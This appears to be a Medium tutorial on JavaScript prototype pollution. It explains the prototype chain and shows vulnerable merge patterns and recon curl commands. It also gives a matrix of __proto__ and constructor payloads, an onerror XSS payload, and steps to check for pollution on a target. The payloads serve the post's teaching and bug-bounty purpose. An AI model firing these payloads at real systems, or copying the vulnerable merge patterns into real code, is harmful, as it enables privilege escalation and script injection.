From Recon to RCE — A comprehensive deep-dive into one of JavaScript’s most misunderstood vulnerabilities
Press enter or click to view image in full size
Prototype Pollution is a vulnerability where an attacker injects properties into JavaScript’s Object.prototype. Because all objects inherit from Object.prototype, the injected property propagates to every object in the runtime — including window, document, process, and any object created thereafter.
Unlike SQL injection or XSS, Prototype Pollution often serves as a primer — it doesn’t immediately give you RCE unless you chain it with another gadget. But when chained correctly, the impact ranges from XSS (browser) to Remote Code Execution (Node.js).
Press enter or click to view image in full size
// Every object has a hidden [[Prototype]]
const user = { name: "Alice" };// user ---> Object.prototype ---> null
// ^[[Prototype]]^When you access user.toString(), JavaScript:
toString on user itself → not founduser.__proto__ (which is Object.prototype) → found!// Normal operation
const target = {};
const source = JSON.parse('{"name": "Alice"}');
Object.assign(target, source);
// target = { name: "Alice" } — safe// Polluted operation
const source = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign(target, source);
// target.__proto__.isAdmin = true
// ALL objects now have isAdmin: true__proto__ Works as a KeyJSON parsing does NOT treat __proto__ specially — it's just a string key. When Object.assign() copies properties, it sets target.__proto__ which mutates the actual prototype chain.
// Visual representation
const obj = {};
obj.__proto__.polluted = true;
// Equivalent to:
Object.prototype.polluted = true;console.log({}.polluted); // true
console.log([].polluted); // true
console.log("".polluted); // true (string prototype chain)Press enter or click to view image in full size
POST /api/users
Content-Type: application/json{"name": "test", "__proto__": {"isAdmin": true}}Where to look:
body-parser, express.json())<!-- URL fragment parsing -->
https://target.com/#__proto__[polluted]=true<!-- PostMessage -->
window.postMessage({__proto__: {evil: true}}, '*')<!-- localStorage / sessionStorage -->
localStorage.getItem('config') // parsed with JSON.parse<!-- WebSocket -->
ws.send(JSON.stringify({__proto__: {innerHTML: '<img src=x onerror=alert(1)>'}}))Object.assign / Spread Operatorapp.post('/api/update', (req, res) => {
const user = getUser(req.session.userId);
Object.assign(user, req.body); // VULNERABLE
user.save();
});_.merge / $.extendconst config = _.merge(defaultConfig, userConfig); // VULNERABLE if userConfig comes from inputconst cloned = JSON.parse(JSON.stringify(userInput));
// JSON.parse + JSON.stringify is SAFE — it strips __proto__
// BUT: if you then merge cloned into another object...// Using qs library with allowPrototypes: false (default is true in older versions)
const parsed = qs.parse('a.__proto__.b=c');
// Older qs: parsed = { a: { __proto__: { b: 'c' } } }Modern web apps are built on frameworks. Find the soft targets.
# Client-side: Look for known vulnerable libraries
curl -s https://target.com/assets/app.js | grep -iEo \
'(jquery|lodash|underscore|handlebars|vue|react|angular|backbone)[@-]?[0-9.]+'# Server-side: Check for Node.js indicators
curl -sI https://target.com | grep -i 'x-powered-by\|server\|node'Version lookup table:
Press enter or click to view image in full size
Build a comprehensive list of every location where user data is parsed into objects.
# Spider the application
gospider -s https://target.com -o spider_output# Extract endpoints from JavaScript
curl -s https://target.com/assets/app.js | \
grep -oP 'POST|PUT|PATCH|GET.*(api|graphql|v1|v2|rest)' | \
sort -u > endpoints.txtTarget each endpoint with multiple payload variants.
// Payload matrix — try ALL of these
{"__proto__":{"polluted":"yes"}}
{"__proto__":["polluted","yes"]}
{"__proto__":{"__proto__":{"polluted":"yes"}}}
{"constructor":{"prototype":{"polluted":"yes"}}}
{"a":{"__proto__":{"polluted":"yes"}}}
{"[__proto__]":{"polluted":"yes"}}
{"__proto__.polluted":"yes"} // For query string parsersjAfter sending the payload, verify if pollution took effect.
Join Medium for free to get updates from this writer.
Server-side check:
# Send a probe payload that affects something observable
curl -s https://target.com/api/status | grep -i '"polluted":"yes"'
# Or check if you get 200 instead of 403 on admin endpointsClient-side check (if you can execute JS):
// Open console on the target page after triggering the pollution
Object.prototype.polluted === "yes"
// Or
({}).polluted === "yes"Due to community guidelines and responsible disclosure practices, I was unable to include the complete live exploit chain, weaponized payloads, and full proof-of-concept demonstrations in this article.
The concepts, impacts, and mitigation strategies are covered here for educational and defensive security purposes. Readers interested in the full technical research, complete exploit analysis, and detailed proof-of-concept examples can refer to the corresponding GitHub repository linked with this article.
This content is intended solely for security research, awareness, and defensive testing in authorized environments.
GitHub: SecurityTalent | Medium: Security Talent | Twitter: Securi3yTalent | Facebook: Securi3ytalent | Telegram: Securi3yTalent
#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming